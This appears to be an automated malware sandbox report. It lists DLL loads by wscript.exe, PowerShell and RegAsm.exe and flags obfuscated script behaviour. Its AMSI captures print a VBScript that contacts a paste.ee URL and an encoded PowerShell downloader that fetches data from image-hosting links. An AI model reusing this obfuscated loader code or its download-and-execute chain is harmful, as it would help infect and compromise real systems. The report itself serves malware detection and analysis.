Source: C:\Windows\System32\wscript.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: textshaping.dll
Source: C:\Windows\System32\wscript.exe Section loaded: textinputframework.dll
Source: C:\Windows\System32\wscript.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\wscript.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: textshaping.dll
Source: C:\Windows\System32\wscript.exe Section loaded: textinputframework.dll
Source: C:\Windows\System32\wscript.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\wscript.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: RegAsm.lnk.10.dr LNK file: ..\..\..\..\..\RegAsm.exe
Source: C:\Windows\System32\wscript.exe Automated click: OK
Source: C:\Windows\System32\wscript.exe Automated click: OK
Source: C:\Windows\System32\wscript.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: RegAsm.pdb source: RegAsm.exe.10.dr
Source: Binary string: RegAsm.pdb4 source: RegAsm.exe.10.dr

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Network");IWshNetwork2.AddWindowsPrinterConnection("\\SRVHOMOLOGDC1\Brother", "Brother");IWshNetwork2.AddWindowsPrinterConnection("\\SRVHOMOLOGDC1\HP", "HP");IWshNetwork2.MapNetworkDrive("P:", "\\SRVHOMOLOGDC1\Publica", "true");IWshNetwork2.MapNetworkDrive("E:", "\\SRVHOMOLOGDC1\Digitalizacoes", "true");IHost.CreateObject("WScript.Shell");IWshShell3.SpecialFolders("Desktop");IWshShell3.CreateShortcut("C:\Users\user\Desktop\RD Web Access.lnk");IWshShortcut.TargetPath("http://app01.system.com.br/RDWeb/Pages/login.aspx");IWshShortcut.IconLocation("\\SRVHOMOLOGDC1\Icones\favicon.ico");IWshShell3.SpecialFolders("Desktop");IWshShell3.CreateShortcut("C:\Users\user\Desktop\Pasta_do_Departamento.lnk");IWshShortcut.TargetPath("S:\");IWshShortcut.WindowStyle("1");IWshShortcut.Description("Pasta_do_Departamento");IWshShell3.SpecialFolders("Desktop");IWshShell3.CreateShortcut("C:\Users\user\Desktop\Pasta_Publica.lnk");IWshShortcut.TargetPath("P:\");IWshShortcut.WindowStyle("1");IWshShortcut.Description("Pasta_Publica");IWshShell3.SendKeys("{F5}");IServerXMLHTTPRequest2.open("GET", "https://paste.ee/d/Pz7Nj", "false");IServerXMLHTTPRequest2.send(); dim sousanas , cupaurana , experiente , thymallo , embravear , Cama , embravear1 cupaurana = " " experiente = "" & thymallo & cupaurana & thymallo & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTre" & thymallo & cupaurana & thymallo & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTre" & thymallo & cupaurana & thymallo & "QB3DgTreC0DgTreTwBiDgTreGoDgTre" & thymallo & cupaurana & thymallo & "QBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTre" & thymallo & cupaurana & thymallo & "QB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTre" & thymallo & cupaurana & thymallo & "QBuDgTreHQDgTreOwDgTregDgTreCQDgTre" & thymallo & cupaurana & thymallo & "DgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTre" & thymallo & cupaurana & thymallo & "DgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTre" & thymallo & cupaurana & thymallo & "gBsDgTreGUDgTre" & thymallo & cupaurana & thymallo & "DgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTre" & thymallo & cupaurana & thymallo & "gBvDgTreHIDgTre" & thymallo & cupaurana & thymallo & "QBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQB
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: $codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTre
Suspicious powershell command line found
